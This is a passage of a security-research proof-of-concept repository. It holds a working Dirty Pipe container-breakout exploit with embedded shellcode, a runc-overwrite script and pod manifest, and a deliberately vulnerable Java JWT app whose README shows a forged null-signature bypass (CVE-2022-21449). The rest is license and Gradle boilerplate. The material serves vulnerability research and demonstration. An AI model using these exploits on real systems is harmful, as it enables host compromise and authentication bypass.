PIPE_BUF_FLAG_CAN_MERGE is still set */ 106 | --offset; 107 | ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0); 108 | if (nbytes < 0) { 109 | perror("splice failed"); 110 | return -1; 111 | } 112 | if (nbytes == 0) { 113 | fprintf(stderr, "short splice\n"); 114 | return -1; 115 | } 116 | 117 | /* the following write will not create a new pipe_buffer, but 118 | will instead write into the page cache, because of the 119 | PIPE_BUF_FLAG_CAN_MERGE flag */ 120 | nbytes = write(p[1], data, len); 121 | if (nbytes < 0) { 122 | perror("write failed"); 123 | return -1; 124 | } 125 | if ((size_t)nbytes < len) { 126 | fprintf(stderr, "short write\n"); 127 | return -1; 128 | } 129 | 130 | close(fd); 131 | 132 | return 0; 133 | } 134 | 135 | // 136 | // NOTE: Everything above this line is the unchanged original Dirty Pipe PoC from dirtypipe.cm4all.com 137 | 138 | 139 | // Generated using msfvenom -a x86 -p linux/x86/exec CMD="id > /tmp/hacked && hostname >> /tmp/hacked" -f elf 140 | // Note: The first ELF byte is removed, since the Dirty Pipe exploit cannot write on the first byte of a memory page 141 | const unsigned char malicious_elf_bytes[] = { 142 | /* 0x7f, */ 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 143 | 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00, 144 | 0x54, 0x80, 0x04, 0x08, 0x34, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 145 | 0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x01, 0x00, 0x00, 0x00, 146 | 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 147 | 0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0xa3, 0x00, 0x00, 0x00, 148 | 0xf2, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 149 | 0x6a, 0x0b, 0x58, 0x99, 0x52, 0x66, 0x68, 0x2d, 0x63, 0x89, 0xe7, 0x68, 150 | 0x2f, 0x73, 0x68, 0x00, 0x68, 0x2f, 0x62, 0x69, 0x6e, 0x89, 0xe3, 0x52, 151 | 0xe8, 0x2c, 0x00, 0x00, 0x00, 0x69, 0x64, 0x20, 0x3e, 0x20, 0x2f, 0x74, 152 | 0x6d, 0x70, 0x2f, 0x68, 0x61, 0x63, 0x6b, 0x65, 0x64, 0x20, 0x26, 0x26, 153 | 0x20, 0x68, 0x6f, 0x73, 0x74, 0x6e, 0x61, 0x6d, 0x65, 0x20, 0x3e, 0x3e, 154 | 0x20, 0x2f, 0x74, 0x6d, 0x70, 0x2f, 0x68, 0x61, 0x63, 0x6b, 0x65, 0x64, 155 | 0x00, 0x57, 0x53, 0x89, 0xe1, 0xcd, 0x80 156 | }; 157 | 158 | int main(int argc, char **argv) { 159 | if (argc != 2) { 160 | fprintf(stderr, "Usage: %s /proc//exe\n", argv[0]); 161 | return EXIT_FAILURE; 162 | } 163 | 164 | char *path = argv[1]; 165 | const size_t data_size = sizeof(malicious_elf_bytes); 166 | printf("[+] hijacking runc..\n"); 167 | if (hax(path, 1, malicious_elf_bytes, data_size) != 0) { 168 | printf("[~] failed\n"); 169 | return EXIT_FAILURE; 170 | } 171 | 172 | printf("[+] Successfuly overwrote runc with our malicious binary!\n"); 173 | 174 | return EXIT_SUCCESS; 175 | } 176 | -------------------------------------------------------------------------------- /proof-of-concept-exploits/dirtypipe-container-breakout/image/wait-for-runc-and-overwrite.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # When /bin/sh is executed through kubectl exec, runc will be executed so our script can overwrite it 4 | echo '#!/proc/self/exe' > /bin/sh 5 | 6 | 7 | echo "Waiting for runC to be executed in the container" 8 | 9 | while true ; do 10 | runc_pid="" 11 | 12 | while [ -z "$runc_pid" ] ; do 13 | runc_pid=$(ps axf | grep /proc/self/exe | grep -v grep | awk '{print $1}') 14 | done 15 | 16 | /exploit /proc/${runc_pid}/exe 17 | done 18 | -------------------------------------------------------------------------------- /proof-of-concept-exploits/dirtypipe-container-breakout/pod.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: v1 2 | kind: Pod 3 | metadata: 4 | name: compromised-pod 5 | spec: 6 | containers: 7 | - name: compromised-container 8 | image: ghcr.io/datadog/dirtypipe-container-breakout 9 | imagePullPolicy: Always 10 | command: ["sh", "/wait-for-runc-and-overwrite.sh"] -------------------------------------------------------------------------------- /proof-of-concept-exploits/jwt-null-signature-vulnerable-app/.gitignore: -------------------------------------------------------------------------------- 1 | HELP.md 2 | .gradle 3 | build/ 4 | !gradle/wrapper/gradle-wrapper.jar 5 | !**/src/main/**/build/ 6 | !**/src/test/**/build/ 7 | 8 | ### STS ### 9 | .apt_generated 10 | .classpath 11 | .factorypath 12 | .project 13 | .settings 14 | .springBeans 15 | .sts4-cache 16 | bin/ 17 | !**/src/main/**/bin/ 18 | !**/src/test/**/bin/ 19 | 20 | ### IntelliJ IDEA ### 21 | .idea 22 | *.iws 23 | *.iml 24 | *.ipr 25 | out/ 26 | !**/src/main/**/out/ 27 | !**/src/test/**/out/ 28 | 29 | ### NetBeans ### 30 | /nbproject/private/ 31 | /nbbuild/ 32 | /dist/ 33 | /nbdist/ 34 | /.nb-gradle/ 35 | 36 | ### VS Code ### 37 | .vscode/ 38 | .DS_Store 39 | -------------------------------------------------------------------------------- /proof-of-concept-exploits/jwt-null-signature-vulnerable-app/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM gradle:7.3.1-jdk17 AS builder 2 | COPY --chown=gradle:gradle . /home/gradle/src 3 | WORKDIR /home/gradle/src 4 | RUN gradle bootJar --no-daemon 5 | 6 | 7 | FROM openjdk:17.0.2-slim 8 | EXPOSE 8080 9 | LABEL org.opencontainers.image.source="https://github.com/DataDog/security-labs-pocs/" 10 | RUN mkdir /app 11 | COPY --from=builder /home/gradle/src/build/libs/*.jar /app/spring-boot-application.jar 12 | CMD ["java", "-Dlogging.level.org.springframework=INFO", "-jar", "/app/spring-boot-application.jar"] 13 | -------------------------------------------------------------------------------- /proof-of-concept-exploits/jwt-null-signature-vulnerable-app/LICENSE: -------------------------------------------------------------------------------- 1 | Apache License 2 | Version 2.0, January 2004 3 | http://www.apache.org/licenses/ 4 | 5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 6 | 7 | 1. Definitions. 8 | 9 | "License" shall mean the terms and conditions for use, reproduction, 10 | and distribution as defined by Sections 1 through 9 of this document. 11 | 12 | "Licensor" shall mean the copyright owner or entity authorized by 13 | the copyright owner that is granting the License. 14 | 15 | "Legal Entity" shall mean the union of the acting entity and all 16 | other entities that control, are controlled by, or are under common 17 | control with that entity. For the purposes of this definition, 18 | "control" means (i) the power, direct or indirect, to cause the 19 | direction or management of such entity, whether by contract or 20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 21 | outstanding shares, or (iii) beneficial ownership of such entity. 22 | 23 | "You" (or "Your") shall mean an individual or Legal Entity 24 | exercising permissions granted by this License. 25 | 26 | "Source" form shall mean the preferred form for making modifications, 27 | including but not limited to software source code, documentation 28 | source, and configuration files. 29 | 30 | "Object" form shall mean any form resulting from mechanical 31 | transformation or translation of a Source form, including but 32 | not limited to compiled object code, generated documentation, 33 | and conversions to other media types. 34 | 35 | "Work" shall mean the work of authorship, whether in Source or 36 | Object form, made available under the License, as indicated by a 37 | copyright notice that is included in or attached to the work 38 | (an example is provided in the Appendix below). 39 | 40 | "Derivative Works" shall mean any work, whether in Source or Object 41 | form, that is based on (or derived from) the Work and for which the 42 | editorial revisions, annotations, elaborations, or other modifications 43 | represent, as a whole, an original work of authorship. For the purposes 44 | of this License, Derivative Works shall not include works that remain 45 | separable from, or merely link (or bind by name) to the interfaces of, 46 | the Work and Derivative Works thereof. 47 | 48 | "Contribution" shall mean any work of authorship, including 49 | the original version of the Work and any modifications or additions 50 | to that Work or Derivative Works thereof, that is intentionally 51 | submitted to Licensor for inclusion in the Work by the copyright owner 52 | or by an individual or Legal Entity authorized to submit on behalf of 53 | the copyright owner. For the purposes of this definition, "submitted" 54 | means any form of electronic, verbal, or written communication sent 55 | to the Licensor or its representatives, including but not limited to 56 | communication on electronic mailing lists, source code control systems, 57 | and issue tracking systems that are managed by, or on behalf of, the 58 | Licensor for the purpose of discussing and improving the Work, but 59 | excluding communication that is conspicuously marked or otherwise 60 | designated in writing by the copyright owner as "Not a Contribution." 61 | 62 | "Contributor" shall mean Licensor and any individual or Legal Entity 63 | on behalf of whom a Contribution has been received by Licensor and 64 | subsequently incorporated within the Work. 65 | 66 | 2. Grant of Copyright License. Subject to the terms and conditions of 67 | this License, each Contributor hereby grants to You a perpetual, 68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 69 | copyright license to reproduce, prepare Derivative Works of, 70 | publicly display, publicly perform, sublicense, and distribute the 71 | Work and such Derivative Works in Source or Object form. 72 | 73 | 3. Grant of Patent License. Subject to the terms and conditions of 74 | this License, each Contributor hereby grants to You a perpetual, 75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 76 | (except as stated in this section) patent license to make, have made, 77 | use, offer to sell, sell, import, and otherwise transfer the Work, 78 | where such license applies only to those patent claims licensable 79 | by such Contributor that are necessarily infringed by their 80 | Contribution(s) alone or by combination of their Contribution(s) 81 | with the Work to which such Contribution(s) was submitted. If You 82 | institute patent litigation against any entity (including a 83 | cross-claim or counterclaim in a lawsuit) alleging that the Work 84 | or a Contribution incorporated within the Work constitutes direct 85 | or contributory patent infringement, then any patent licenses 86 | granted to You under this License for that Work shall terminate 87 | as of the date such litigation is filed. 88 | 89 | 4. Redistribution. You may reproduce and distribute copies of the 90 | Work or Derivative Works thereof in any medium, with or without 91 | modifications, and in Source or Object form, provided that You 92 | meet the following conditions: 93 | 94 | (a) You must give any other recipients of the Work or 95 | Derivative Works a copy of this License; and 96 | 97 | (b) You must cause any modified files to carry prominent notices 98 | stating that You changed the files; and 99 | 100 | (c) You must retain, in the Source form of any Derivative Works 101 | that You distribute, all copyright, patent, trademark, and 102 | attribution notices from the Source form of the Work, 103 | excluding those notices that do not pertain to any part of 104 | the Derivative Works; and 105 | 106 | (d) If the Work includes a "NOTICE" text file as part of its 107 | distribution, then any Derivative Works that You distribute must 108 | include a readable copy of the attribution notices contained 109 | within such NOTICE file, excluding those notices that do not 110 | pertain to any part of the Derivative Works, in at least one 111 | of the following places: within a NOTICE text file distributed 112 | as part of the Derivative Works; within the Source form or 113 | documentation, if provided along with the Derivative Works; or, 114 | within a display generated by the Derivative Works, if and 115 | wherever such third-party notices normally appear. The contents 116 | of the NOTICE file are for informational purposes only and 117 | do not modify the License. You may add Your own attribution 118 | notices within Derivative Works that You distribute, alongside 119 | or as an addendum to the NOTICE text from the Work, provided 120 | that such additional attribution notices cannot be construed 121 | as modifying the License. 122 | 123 | You may add Your own copyright statement to Your modifications and 124 | may provide additional or different license terms and conditions 125 | for use, reproduction, or distribution of Your modifications, or 126 | for any such Derivative Works as a whole, provided Your use, 127 | reproduction, and distribution of the Work otherwise complies with 128 | the conditions stated in this License. 129 | 130 | 5. Submission of Contributions. Unless You explicitly state otherwise, 131 | any Contribution intentionally submitted for inclusion in the Work 132 | by You to the Licensor shall be under the terms and conditions of 133 | this License, without any additional terms or conditions. 134 | Notwithstanding the above, nothing herein shall supersede or modify 135 | the terms of any separate license agreement you may have executed 136 | with Licensor regarding such Contributions. 137 | 138 | 6. Trademarks. This License does not grant permission to use the trade 139 | names, trademarks, service marks, or product names of the Licensor, 140 | except as required for reasonable and customary use in describing the 141 | origin of the Work and reproducing the content of the NOTICE file. 142 | 143 | 7. Disclaimer of Warranty. Unless required by applicable law or 144 | agreed to in writing, Licensor provides the Work (and each 145 | Contributor provides its Contributions) on an "AS IS" BASIS, 146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 147 | implied, including, without limitation, any warranties or conditions 148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A 149 | PARTICULAR PURPOSE. You are solely responsible for determining the 150 | appropriateness of using or redistributing the Work and assume any 151 | risks associated with Your exercise of permissions under this License. 152 | 153 | 8. Limitation of Liability. In no event and under no legal theory, 154 | whether in tort (including negligence), contract, or otherwise, 155 | unless required by applicable law (such as deliberate and grossly 156 | negligent acts) or agreed to in writing, shall any Contributor be 157 | liable to You for damages, including any direct, indirect, special, 158 | incidental, or consequential damages of any character arising as a 159 | result of this License or out of the use or inability to use the 160 | Work (including but not limited to damages for loss of goodwill, 161 | work stoppage, computer failure or malfunction, or any and all 162 | other commercial damages or losses), even if such Contributor 163 | has been advised of the possibility of such damages. 164 | 165 | 9. Accepting Warranty or Additional Liability. While redistributing 166 | the Work or Derivative Works thereof, You may choose to offer, 167 | and charge a fee for, acceptance of support, warranty, indemnity, 168 | or other liability obligations and/or rights consistent with this 169 | License. However, in accepting such obligations, You may act only 170 | on Your own behalf and on Your sole responsibility, not on behalf 171 | of any other Contributor, and only if You agree to indemnify, 172 | defend, and hold each Contributor harmless for any liability 173 | incurred by, or claims asserted against, such Contributor by reason 174 | of your accepting any such warranty or additional liability. 175 | 176 | END OF TERMS AND CONDITIONS 177 | 178 | APPENDIX: How to apply the Apache License to your work. 179 | 180 | To apply the Apache License to your work, attach the following 181 | boilerplate notice, with the fields enclosed by brackets "[]" 182 | replaced with your own identifying information. (Don't include 183 | the brackets!) The text should be enclosed in the appropriate 184 | comment syntax for the file format. We also recommend that a 185 | file or class name and description of purpose be included on the 186 | same "printed page" as the copyright notice for easier 187 | identification within third-party archives. 188 | 189 | Copyright [yyyy] [name of copyright owner] 190 | 191 | Licensed under the Apache License, Version 2.0 (the "License"); 192 | you may not use this file except in compliance with the License. 193 | You may obtain a copy of the License at 194 | 195 | http://www.apache.org/licenses/LICENSE-2.0 196 | 197 | Unless required by applicable law or agreed to in writing, software 198 | distributed under the License is distributed on an "AS IS" BASIS, 199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 200 | See the License for the specific language governing permissions and 201 | limitations under the License. 202 | -------------------------------------------------------------------------------- /proof-of-concept-exploits/jwt-null-signature-vulnerable-app/README.md: -------------------------------------------------------------------------------- 1 | # Exploitation and Sample Vulnerable Application of the JWT Null Signature Vulnerability (CVE-2022-21449) 2 | 3 | This folder contains a sample web application vulnerable to [CVE-2022-21449](https://neilmadden.blog/2022/04/19/psychic-signatures-in-java/), a vulnerability in the Java JDKs 15 to 18 allowing to bypass signature checks using ECDSA signatures (based on elliptic curves). 4 | 5 | ## Running the application 6 | 7 | Run it: 8 | 9 | ``` 10 | docker run --name vulnerable-app --rm -p 8080:8080 ghcr.io/datadog/jwt-null-signature-vulnerable-app 11 | ``` 12 | 13 | Built it yourself: 14 | 15 | ``` 16 | docker build . -t vulnerable-app 17 | docker run -p 8080:8080 --name vulnerable-app --rm vulnerable-app 18 | ``` 19 | 20 | ## Exploitation steps 21 | 22 | The application has a single endpoint that requires authenticating with a valid JWT (with regard to a randomly-generated private key): 23 | 24 | ``` 25 | $ curl localhost:8080 -sSL -D- 26 | HTTP/1.1 401 27 | Content-Type: text/plain;charset=UTF-8 28 | Content-Length: 46 29 | Date: Wed, 20 Apr 2022 14:53:06 GMT 30 | 31 | You are not authorized to access this endpoint 32 | ``` 33 | 34 | Specifying an invalid JWT (for instance, signed with any EC256 key) returns an error as well: 35 | 36 | ```bash 37 | # Generated on https://token.dev/ with the algorithm "ES256" 38 | $ JWT=eyJ0eXAiOiJKV1QiLCJhbGciOiJFUzI1NiJ9.eyJzdWIiOiJSaWNrIEFzdGxleSIsImFkbWluIjp0cnVlLCJpYXQiOjE2NTA0NjY1MDIsImV4cCI6MTkwMDQ3MDEwMn0.R05LldFQf7kay5-8hPeJYnYD_ehxKAKFXo-t6Qt7ZKUKkQSQowOHeiZBI9ierO1q6AZlJ4GsXFsxhPrj6m4cMg 39 | $ curl localhost:8080 -sSL -D- -H "Authorization: Bearer $JWT" 40 | HTTP/1.1 401 41 | Content-Type: text/plain;charset=UTF-8 42 | Content-Length: 11 43 | Date: Wed, 20 Apr 2022 14:56:04 GMT 44 | 45 | Invalid JWT 46 | ``` 47 | 48 | However, specifying an ECDSA signature with `r=s=0` encoded in DER, `MAYCAQACAQA=`, allows us to bypass the JWT verification check! 49 | 50 | ```bash 51 | $ echo -ne "MAYCAQACAQA=" | base64 -d | openssl asn1parse -inform der 52 | 0:d=0 hl=2 l= 6 cons: SEQUENCE 53 | 2:d=1 hl=2 l= 1 prim: INTEGER :00 54 | 5:d=1 hl=2 l= 1 prim: INTEGER :00 55 | ``` 56 | 57 | ```bash 58 | # Same JWT as above with the malicious signature 59 | $ JWT=eyJ0eXAiOiJKV1QiLCJhbGciOiJFUzI1NiJ9.eyJzdWIiOiJSaWNrIEFzdGxleSIsImFkbWluIjp0cnVlLCJpYXQiOjE2NTA0NjY1MDIsImV4cCI6MTkwMDQ3MDEwMn0.MAYCAQACAQA 60 | $ curl localhost:8080 -sSL -D- -H "Authorization: Bearer $JWT" 61 | HTTP/1.1 200 62 | Content-Type: text/plain;charset=UTF-8 63 | Content-Length: 19 64 | Date: Wed, 20 Apr 2022 14:59:18 GMT 65 | 66 | Hello, Rick Astley! 67 | ``` 68 | 69 | ## Notes 70 | 71 | This demo makes of use of the popular [jjwt](https://github.com/jwtk/jjwt) library. 72 | Similar vulnerabilities are likely to affect other Java-based JWT libraries running on vulnerable JDK versions - the vulnerability does not lie in the libraries themselves, but in the cryptographical primitives provided by the vulnerable JDK. 73 | 74 | ## Credits 75 | 76 | * Disclosure: https://neilmadden.blog/2022/04/19/psychic-signatures-in-java/ by Neil Madden 77 | * This repository: Thomas Etrillard, [Christophe Tafani-Dereeper](https://twitter.com/christophetd) -------------------------------------------------------------------------------- /proof-of-concept-exploits/jwt-null-signature-vulnerable-app/build.gradle: -------------------------------------------------------------------------------- 1 | plugins { 2 | id 'org.springframework.boot' version '2.6.6' 3 | id 'io.spring.dependency-management' version '1.0.11.RELEASE' 4 | id 'java' 5 | } 6 | 7 | group = 'com.datadog.sample' 8 | version = '1.0' 9 | sourceCompatibility = '17' 10 | 11 | repositories { 12 | mavenCentral() 13 | } 14 | 15 | dependencies { 16 | implementation 'org.springframework.boot:spring-boot-starter' 17 | implementation 'org.springframework.boot:spring-boot-starter-web' 18 | 19 | implementation 'io.jsonwebtoken:jjwt-api:0.11.2' 20 | implementation 'io.jsonwebtoken:jjwt-impl:0.11.2' 21 | implementation 'io.jsonwebtoken:jjwt-jackson:0.11.2' 22 | } -------------------------------------------------------------------------------- /proof-of-concept-exploits/jwt-null-signature-vulnerable-app/gradle/wrapper/gradle-wrapper.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DataDog/security-labs-pocs/b65ff27cec0a1593796d11a41094da4a005b8ba4/proof-of-concept-exploits/jwt-null-signature-vulnerable-app/gradle/wrapper/gradle-wrapper.jar -------------------------------------------------------------------------------- /proof-of-concept-exploits/jwt-null-signature-vulnerable-app/gradle/wrapper/gradle-wrapper.properties: -------------------------------------------------------------------------------- 1 | distributionBase=GRADLE_USER_HOME 2 | distributionPath=wrapper/dists 3 | distributionUrl=https\://services.gradle.org/distributions/gradle-7.4.1-bin.zip 4 | zipStoreBase=GRADLE_USER_HOME 5 | zipStorePath=wrapper/dists 6 | -------------------------------------------------------------------------------- /proof-of-concept-exploits/jwt-null-signature-vulnerable-app/gradlew: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | # 4 | # Copyright © 2015-2021 the original authors. 5 | # 6 | # Licensed under the Apache License, Version 2.0 (the "License"); 7 | # you may not use this file except in compliance with the License. 8 | # You may obtain a copy of the License at 9 | # 10 | # https://www.apache.org/licenses/LICENSE-2.0 11 | # 12 | # Unless required by applicable law or agreed to in writing, software 13 | # distributed under the License is distributed on an "AS IS" BASIS, 14 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 15 | # See the License for the specific language governing permissions and 16 | # limitations under the License. 17 | # 18 | 19 | ############################################################################## 20 | # 21 | # Gradle start up script for POSIX generated by Gradle. 22 | # 23 | # Important for running: 24 | # 25 | # (1) You need a POSIX-compliant shell to run this script. If your /bin/sh is 26 | # noncompliant, but you have some other compliant shell such as ksh or 27 | # bash, then to run this script, type that shell name before the whole 28 | # command line, like: 29 | # 30 | # ksh Gradle 31 | # 32 | # Busybox and similar reduced shells will NOT work, because this script 33 | # requires all of these POSIX shell features: 34 | # * functions; 35 | # * expansions «$var», «${var}», «${var:-default}», «${var+SET}», 36 | # «${var#prefix}», «${var%suffix}», and «$( cmd )»; 37 | # * compound commands having a testable exit status, especially «case»; 38 | # * various built-in commands including «command», «set», and «ulimit». 39 | # 40 | # Important for patching: 41 | # 42 | # (2) This script targets any POSIX shell, so it avoids extensions provided 43 | # by Bash, Ksh, etc; in particular arrays are avoided. 44 | # 45 | # The "traditional" practice of packing multiple parameters into a 46 | # space-separated string is a well documented source of bugs and security 47 | # problems, so this is (mostly) avoided, by progressively accumulating 48 | # options in "$@", and eventually passing that to Java. 49 | # 50 | # Where the inherited environment variables (DEFAULT_JVM_OPTS, JAVA_OPTS, 51 | # and GRADLE_OPTS) rely on word-splitting, this is performed explicitly; 52 | # see the in-line comments for details. 53 | # 54 | # There are tweaks for specific operating systems such as AIX, CygWin, 55 | # Darwin, MinGW, and NonStop. 56 | # 57 | # (3) This script is generated from the Groovy template 58 | # https://github.com/gradle/gradle/blob/master/subprojects/plugins/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt 59 | # within the Gradle project. 60 | # 61 | # You can find Gradle at https://github.com/gradle/gradle/. 62 | # 63 | ############################################################################## 64 | 65 | # Attempt to set APP_HOME 66 | 67 | # Resolve links: $0 may be a link 68 | app_path=$0 69 | 70 | # Need this for daisy-chained symlinks. 71 | while 72 | APP_HOME=${app_path%"${app_path##*/}"} # leaves a trailing /; empty if no leading path 73 | [ -h "$app_path" ] 74 | do 75 | ls=$( ls -ld "$app_path" ) 76 | link=${ls#*' -> '} 77 | case $link in #( 78 | /*) app_path=$link ;; #( 79 | *) app_path=$APP_HOME$link ;; 80 | esac 81 | done 82 | 83 | APP_HOME=$( cd "${APP_HOME:-./}" && pwd -P ) || exit 84 | 85 | APP_NAME="Gradle" 86 | APP_BASE_NAME=${0##*/} 87 | 88 | # Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. 89 | DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' 90 | 91 | # Use the maximum available, or set MAX_FD != -1 to use that value. 92 | MAX_FD=maximum 93 | 94 | warn () { 95 | echo "$*" 96 | } >&2 97 | 98 | die () { 99 | echo 100 | echo "$*" 101 | echo 102 | exit 1 103 | } >&2 104 | 105 | # OS specific support (must be 'true' or 'false'). 106 | cygwin=false 107 | msys=false 108 | darwin=false 109 | nonstop=false 110 | case "$( uname )" in #( 111 | CYGWIN* ) cygwin=true ;; #( 112 | Darwin* ) darwin=true ;; #( 113 | MSYS* | MINGW* ) msys=true ;; #( 114 | NONSTOP* ) nonstop=true ;; 115 | esac 116 | 117 | CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar 118 | 119 | 120 | # Determine the Java command to use to start the JVM. 121 | if [ -n "$JAVA_HOME" ] ; then 122 | if [ -x "$JAVA_HOME/jre/sh/java" ] ; then 123 | # IBM's JDK on AIX uses strange locations for the executables 124 | JAVACMD=$JAVA_HOME/jre/sh/java 125 | else 126 | JAVACMD=$JAVA_HOME/bin/java 127 | fi 128 | if [ ! -x "$JAVACMD" ] ; then 129 | die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME 130 | 131 | Please set the JAVA_HOME variable in your environment to match the 132 | location of your Java installation." 133 | fi 134 | else 135 | JAVACMD=java 136 | which java >/dev/null 2>&1 || die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 137 | 138 | Please set the JAVA_HOME variable in your environment to match the 139 | location of your Java installation." 140 | fi 141 | 142 | # Increase the maximum file descriptors if we can. 143 | if ! "$cygwin" && ! "$darwin" && ! "$nonstop" ; then 144 | case $MAX_FD in #( 145 | max*) 146 | MAX_FD=$( ulimit -H -n ) || 147 | warn "Could not query maximum file descriptor limit" 148 | esac 149 | case $MAX_FD in #( 150 | '' | soft) :;; #( 151 | *) 152 | ulimit -n "$MAX_FD" || 153 | warn "Could not set maximum file descriptor limit to $MAX_FD" 154 | esac 155 | fi 156 | 157 | # Collect all arguments for the java command, stacking in reverse order: 158 | # * args from the command line 159 | # * the main class name 160 | # * -classpath 161 | # * -D...appname settings 162 | # * --module-path (only if needed) 163 | # * DEFAULT_JVM_OPTS, JAVA_OPTS, and GRADLE_OPTS environment variables. 164 | 165 | # For Cygwin or MSYS, switch paths to Windows format before running java 166 | if "$cygwin" || "$msys" ; then 167 | APP_HOME=$( cygpath --path --mixed "$APP_HOME" ) 168 | CLASSPATH=$( cygpath --path --mixed "$CLASSPATH" ) 169 | 170 | JAVACMD=$( cygpath --unix "$JAVACMD" ) 171 | 172 | # Now convert the arguments - kludge to limit ourselves to /bin/sh 173 | for arg do 174 | if 175 | case $arg in #( 176 | -*) false ;; # don't mess with options #( 177 | /?*) t=${arg#/} t=/${t%%/*} # looks like a POSIX filepath 178 | [ -e "$t" ] ;; #( 179 | *) false ;; 180 | esac 181 | then 182 | arg=$( cygpath --path --ignore --mixed "$arg" ) 183 | fi 184 | # Roll the args list around exactly as many times as the number of 185 | # args, so each arg winds up back in the position where it started, but 186 | # possibly modified. 187 | # 188 | # NB: a `for` loop captures its iteration list before it begins, so 189 | # changing the positional parameters here affects neither the number of 190 | # iterations, nor the values presented in `arg`. 191 | shift # remove old arg 192 | set -- "$@" "$arg" # push replacement arg 193 | done 194 | fi 195 | 196 | # Collect all arguments for the java command; 197 | # * $DEFAULT_JVM_OPTS, $JAVA_OPTS, and $GRADLE_OPTS can contain fragments of 198 | # shell script including quotes and variable substitutions, so put them in 199 | # double quotes to make sure that they get re-expanded; and 200 | # * put everything else in single quotes, so that it's not re-expanded. 201 | 202 | set -- \ 203 | "-Dorg.gradle.appname=$APP_BASE_NAME" \ 204 | -classpath "$CLASSPATH" \ 205 | org.gradle.wrapper.GradleWrapperMain \ 206 | "$@" 207 | 208 | # Use "xargs" to parse quoted args. 209 | # 210 | # With -n1 it outputs one arg per line, with the quotes and backslashes removed. 211 | # 212 | # In Bash we could simply go: 213 | # 214 | # readarray ARGS < <( xargs -n1 <<<"$var" ) && 215 | # set -- "${ARGS[@]}" "$@" 216 | # 217 | # but POSIX shell has neither arrays nor command substitution, so instead we 218 | # post-process each arg (as a line of input to sed) to backslash-escape any 219 | # character that might be a shell metacharacter, then use eval to reverse 220 | # that process (while maintaining the separation between arguments), and wrap 221 | # the whole thing up as a single "set" statement. 222 | # 223 | # This will of course break if any of these variables contains a newline or 224 | # an unmatched quote. 225 | # 226 | 227 | eval "set -- $( 228 | printf '%s\n' "$DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS" | 229 | xargs -n1 | 230 | sed ' s~[^-[:alnum:]+,./:=@_]~\\&~g; ' | 231 | tr '\n' ' ' 232 | )" '"$@"' 233 | 234 | exec "$JAVACMD" "$@" 235 | -------------------------------------------------------------------------------- /proof-of-concept-exploits/jwt-null-signature-vulnerable-app/gradlew.bat: -------------------------------------------------------------------------------- 1 | @rem 2 | @rem Copyright 2015 the original author or authors. 3 | @rem 4 | @rem Licensed under the Apache License, Version 2.0 (the "License"); 5 | @rem you may not use this file except in compliance with the License. 6 | @rem You may obtain a copy of the License at 7 | @rem 8 | @rem https://www.apache.org/licenses/LICENSE-2.0 9 | @rem 10 | @rem Unless required by applicable law or agreed to in writing, software 11 | @rem distributed under the License is distributed on an "AS IS" BASIS, 12 | @rem WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | @rem See the License for the specific language governing permissions and 14 | @rem limitations under the License. 15 | @rem 16 | 17 | @if "%DEBUG%" == "" @echo off 18 | @rem ########################################################################## 19 | @rem 20 | @rem Gradle startup script for Windows 21 | @rem 22 | @rem ########################################################################## 23 | 24 | @rem Set local scope for the variables with windows NT shell 25 | if "%OS%"=="Windows_NT" setlocal 26 | 27 | set DIRNAME=%~dp0 28 | if "%DIRNAME%" == "" set DIRNAME=. 29 | set APP_BASE_NAME=%~n0 30 | set APP_HOME=%DIRNAME% 31 | 32 | @rem Resolve any "." and ".." in APP_HOME to make it shorter. 33 | for %%i in ("%APP_HOME%") do set APP_HOME=%%~fi 34 | 35 | @rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. 36 | set DEFAULT_JVM_OPTS="-Xmx64m" "-Xms64m" 37 | 38 | @rem Find java.exe 39 | if defined JAVA_HOME goto findJavaFromJavaHome 40 | 41 | set JAVA_EXE=java.exe 42 | %JAVA_EXE% -version >NUL 2>&1 43 | if "%ERRORLEVEL%" == "0" goto execute 44 | 45 | echo. 46 | echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 47 | echo. 48 | echo Please set the JAVA_HOME variable in your environment to match the 49 | echo location of your Java installation. 50 | 51 | goto fail 52 | 53 | :findJavaFromJavaHome 54 | set JAVA_HOME=%JAVA_HOME:"=% 55 | set JAVA_EXE=%JAVA_HOME%/bin/java.exe 56 | 57 | if exist "%JAVA_EXE%" goto execute 58 | 59 | echo. 60 | echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 61 | echo. 62 | echo Please set the JAVA_HOME variable in your environment to match the 63 | echo location of your 